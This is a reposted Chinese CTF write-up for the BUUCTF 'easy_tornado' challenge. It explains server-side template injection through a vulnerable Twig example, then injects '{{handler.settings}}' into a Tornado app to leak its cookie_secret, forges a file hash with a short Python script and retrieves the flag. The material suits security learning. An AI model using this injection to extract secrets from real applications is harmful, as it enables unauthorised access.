ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

BUUCTF_WEB_20200915

2020-09-15 22:31:36  阅读:352  来源: 互联网

标签:__ WEB BUUCTF settings secret 20200915 cookie 模板 md5


WEB-easy_tornado

考点:模板注入、tornado模板中rander.setting访问对象

1.拿到题后有三个文档

2.点开第一个显示flag in /fllllllllllllag,先不要急往下看,willcome.txt中有一个render,也不急,继续往下看hints.txt中md5(cookie_secret+md5(filename))

从url可以得到文件的hash,所以现在缺少的是cookie_secret。然后,我们回头看刚刚已知的信息“flag in /fllllllllllllag”这里我们尝试filename= /fllllllllllllag,呕吼,返回了ERROR

接下来我们修改Error,改为1,2,3,123均返回本身

这里涉及到此题的第一个重点模板注入模板注入(模板注入涉及的是服务端Web应用使用模板引擎渲染用户请求的过程)

  • 模板注入检测原理:如果服务端将用户的输入作为了模板的一部分,那么在页面渲染时也必定会将用户输入的内容进行模版编译和解析最后输出。
    修改渲染的模版内容,得到用户的控制便可进行xss
<?php
require_once dirname(__FILE__).'/../lib/Twig/Autoloader.php'; // __file__获得文件的绝对地址
Twig_Autoloader::register(true); // ::调用类中的静态方法
$twig= new Twig_Environment(new Twig_Loader_String());
$output= $twig->render("Hello {{name}}", array("name" => $_GET["name"]));  // 将用户输入作为模版变量的值 echo $output;


require_once dirname(__FILE__) . '/../lib/Twig/Autoloader.php';
Twig_Autoloader::register(true);
$twig = new Twig_Environment(new Twig_Loader_String());
$output = $twig->render("Hello {$_GET['name']}");  // 将用户输入作为模版内容的一部分 echo $output;

?>
  • 以上作为理解模板注入的一些参考

接下来就谈到本题的第二个重点rander.setting访问对象

 <title>
     {{ escape(handler.settings["cookie"]) }}
 </title>
  • 这两个{{}}和这个字典对象也许大家就看出来了,没错就是这个handler.settings对象handler 指向RequestHandler而RequestHandler.settings又指向self.application.settings**
    **所有handler.settings就指向RequestHandler.application.settings了!大概就是说,这里面就是我们一下环境变量,我们正是从这里获取的cookie_secret
    所以我们传入msg={{handler.settings}},返回
    {'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': '41ed6592-3367-4522-936c-572ab93128e9'}

    这里得到了我们缺少的条件cookie_secret:41ed6592-3367-4522-936c-572ab93128e9

接下来我们开始最后一步md5(cookie_secret+md5(filename))根据此式子编写脚本

得到filehash():6addbbad1faa05759144f984eacc1345

  • 脚本自取:
import hashlib
import sys

def md5(s):
    md5 = hashlib.md5()
    md5.update(s.encode("utf-8"))
    return md5.hexdigest()  # 返回16进制
def filehash():
    filename = '/fllllllllllllag'
    cookie_secret = '41ed6592-3367-4522-936c-572ab93128e9'
    print(md5(cookie_secret+md5(filename)))
if __name__=='__main__':
    filehash()

最后一步,构造payload:http://e942e9b3-e6e7-48a8-8ede-317667a1c938.node3.buuoj.cn/file?filename=/fllllllllllllag&filehash=6addbbad1faa05759144f984eacc1345

flag

flag{8c57d166-f8bb-47dd-87d0-6c34fbc649e2}

标签:__,WEB,BUUCTF,settings,secret,20200915,cookie,模板,md5
来源: https://www.cnblogs.com/Dr-STranger/p/13676068.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有